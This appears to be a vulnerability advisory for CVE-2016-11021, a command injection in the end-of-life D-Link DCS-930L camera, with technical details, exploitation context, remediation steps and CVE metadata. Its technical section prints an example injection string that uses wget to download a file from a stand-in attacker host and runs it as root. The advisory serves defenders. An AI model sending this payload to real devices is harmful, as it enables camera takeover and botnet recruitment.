What Is D-Link DCS-930L?
The D-Link DCS-930L is a consumer-grade network cloud camera used for home security monitoring — it streams live video over the internet to the D-Link mydlink cloud service and is managed via a web-based administration interface. It was a widely sold consumer IoT security camera. D-Link has declared the DCS-930L end-of-life; no further firmware updates or security patches will be released for this device.
Consumer IoT cameras are high-value exploitation targets: they have always-on network connectivity, often with cloud-accessible management interfaces, run full embedded Linux operating systems with privileged processes, and are rarely monitored for security events. Compromised cameras can be recruited into botnets, used for network surveillance, or repurposed as persistent network footholds.
Overview
CVE-2016-11021 is an OS command injection vulnerability in the D-Link DCS-930L network camera that allows an authenticated administrator to execute arbitrary OS commands on the device. The setSystemCommand function in the DCS-930L's web administration interface accepts a parameter that is passed directly to the underlying embedded Linux shell without sanitization, allowing shell command injection via the network management interface. The D-Link DCS-930L is end-of-life with no firmware patch available; CISA's required action is to disconnect the device. CISA added CVE-2016-11021 to the KEV catalog in March 2022.
Affected Versions
| D-Link DCS-930L | Status |
|---|---|
| All DCS-930L firmware versions | Vulnerable — no patch available |
| D-Link DCS-930L (end-of-life) | Permanently vulnerable |
D-Link has declared the DCS-930L end-of-life. No security patches will be issued. The recommended action is device replacement.
Technical Details
Root Cause: setSystemCommand OS Command Injection
CVE-2016-11021 is an OS command injection vulnerability (CWE-78) in the DCS-930L's setSystemCommand CGI function. The DCS-930L's embedded web server provides administrative API endpoints for configuring the camera. The setSystemCommand function is designed to allow administrators to run system diagnostic or management commands on the camera's embedded Linux OS.
Vulnerability mechanism:
The setSystemCommand function receives a command parameter via HTTP and passes it to the embedded shell (/bin/sh -c <command>) without sanitizing shell metacharacters. An attacker who authenticates to the web interface can inject arbitrary commands using standard shell injection techniques:
setSystemCommand?command=ping+127.0.0.1;wget+http://attacker.com/malware+-O+/tmp/m;sh+/tmp/m
The injected semicolon separates the benign ping command from the attacker's wget and execution commands, running all three commands as root on the camera's embedded Linux.
Attack prerequisites:
PR:H(High privilege required): the attacker must have administrator credentials to the DCS-930L web interface- These credentials may be obtained via default passwords (admin/admin or blank), credential stuffing, or brute-force attacks against the management interface
Default Credential Context
The high-privilege requirement does not significantly limit exploitation because:
- Many DCS-930L devices retain default credentials (admin with blank or weak password)
- The D-Link mydlink cloud service and local management interface may have the same credentials
- Credential scanning tools specifically target IoT devices with known default credentials
- ISP-provided cameras or cameras installed by non-technical users often retain defaults
Attack Characteristics
| Attribute | Detail |
|---|---|
| Attack Vector | Network — camera web management interface or mydlink cloud API |
| Authentication | High-privilege (admin credentials) required |
| Impact | Root OS command execution on embedded Linux camera |
| EOL Status | No patch available — device must be replaced |
Discovery
Discovered by security researchers as part of IoT security research; published as CVE-2016-11021 in March 2020, approximately four years after the vulnerability's existence — reflecting the lag in IoT vulnerability documentation and the end-of-life status of the device.
Exploitation Context
- Default credential attack chain: CVE-2016-11021 is most commonly exploited via the default credential path — attackers scan internet-facing DCS-930L cameras, authenticate with default credentials, and use
setSystemCommandto install botnet malware; this two-step attack (default auth + command injection) is fully automated in IoT botnet toolchains - Mirai variant exploitation: Successor botnets to Mirai incorporated OS command injection vulnerabilities in consumer cameras alongside credential exploitation; CVE-2016-11021 provides a code-execution path beyond Mirai's pure-credential-exploitation model
- Physical security camera compromise: An attacker who compromises a DCS-930L gains access to its live video stream — enabling physical surveillance bypass and intelligence collection about the monitored location in addition to the network-level compromise
- EOL persistence: The DCS-930L's end-of-life status means CVE-2016-11021 is permanently exploitable in all deployed devices; users who purchased and installed these cameras years ago may not be aware of the EOL status or the security implications
- CISA KEV (2022): Added March 25, 2022 alongside CVE-2016-10174 (NETGEAR buffer overflow), reflecting a batch review of exploited IoT device vulnerabilities
Remediation
-
Disconnect and replace the DCS-930L immediately — D-Link has issued no security patch for CVE-2016-11021 and will not do so; the only remediation is replacing the device with a currently supported camera model that receives active firmware security updates.
-
If immediate replacement is not possible, isolate the device — move the DCS-930L to an isolated network segment with no internet access and no path to internal corporate systems; disable the mydlink cloud service; restrict access to the management interface to specific trusted IP addresses.
-
Change default credentials immediately — if the camera must remain in service temporarily, change the admin password to a strong, unique value to reduce the risk of default credential exploitation.
-
Disable internet-facing camera access — remove any port-forwarding or DMZ rules that expose the DCS-930L management interface (port 80) to the internet.
-
Review camera footage and network logs — if the camera has been internet-accessible with default or weak credentials, assume it may be compromised; review camera settings for unexpected changes and network logs for unexpected outbound connections from the camera.
Key Details
| Property | Value |
|---|---|
| CVE ID | CVE-2016-11021 |
| Vendor / Product | D-Link — DCS-930L Devices |
| NVD Published | 2020-03-09 |
| NVD Last Modified | 2025-11-05 |
| CVSS 3.1 Score | 7.2 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Severity | HIGH |
| CWE | CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') find similar ↗ |
| CISA KEV Added | 2022-03-25 |
| CISA KEV Deadline | 2022-04-15 |
| Known Ransomware Use | No |
CVSS 3.1 Breakdown
Required Action
Timeline
| Date | Event |
|---|---|
| 2016-01-01 | Vulnerability exists in D-Link DCS-930L firmware (approximate disclosure date) |
| 2020-03-09 | CVE-2016-11021 published by NVD; D-Link DCS-930L has reached end-of-life with no patch available |
| 2022-03-25 | Added to CISA Known Exploited Vulnerabilities catalog |
| 2022-04-15 | CISA BOD 22-01 remediation deadline |
References
| Resource | Type |
|---|---|
| NVD — CVE-2016-11021 | Vulnerability Database |
| CISA KEV Catalog Entry | US Government |
| D-Link Security Advisory SAP10117 — DCS-930L End-of-Life Announcement | Vendor Advisory |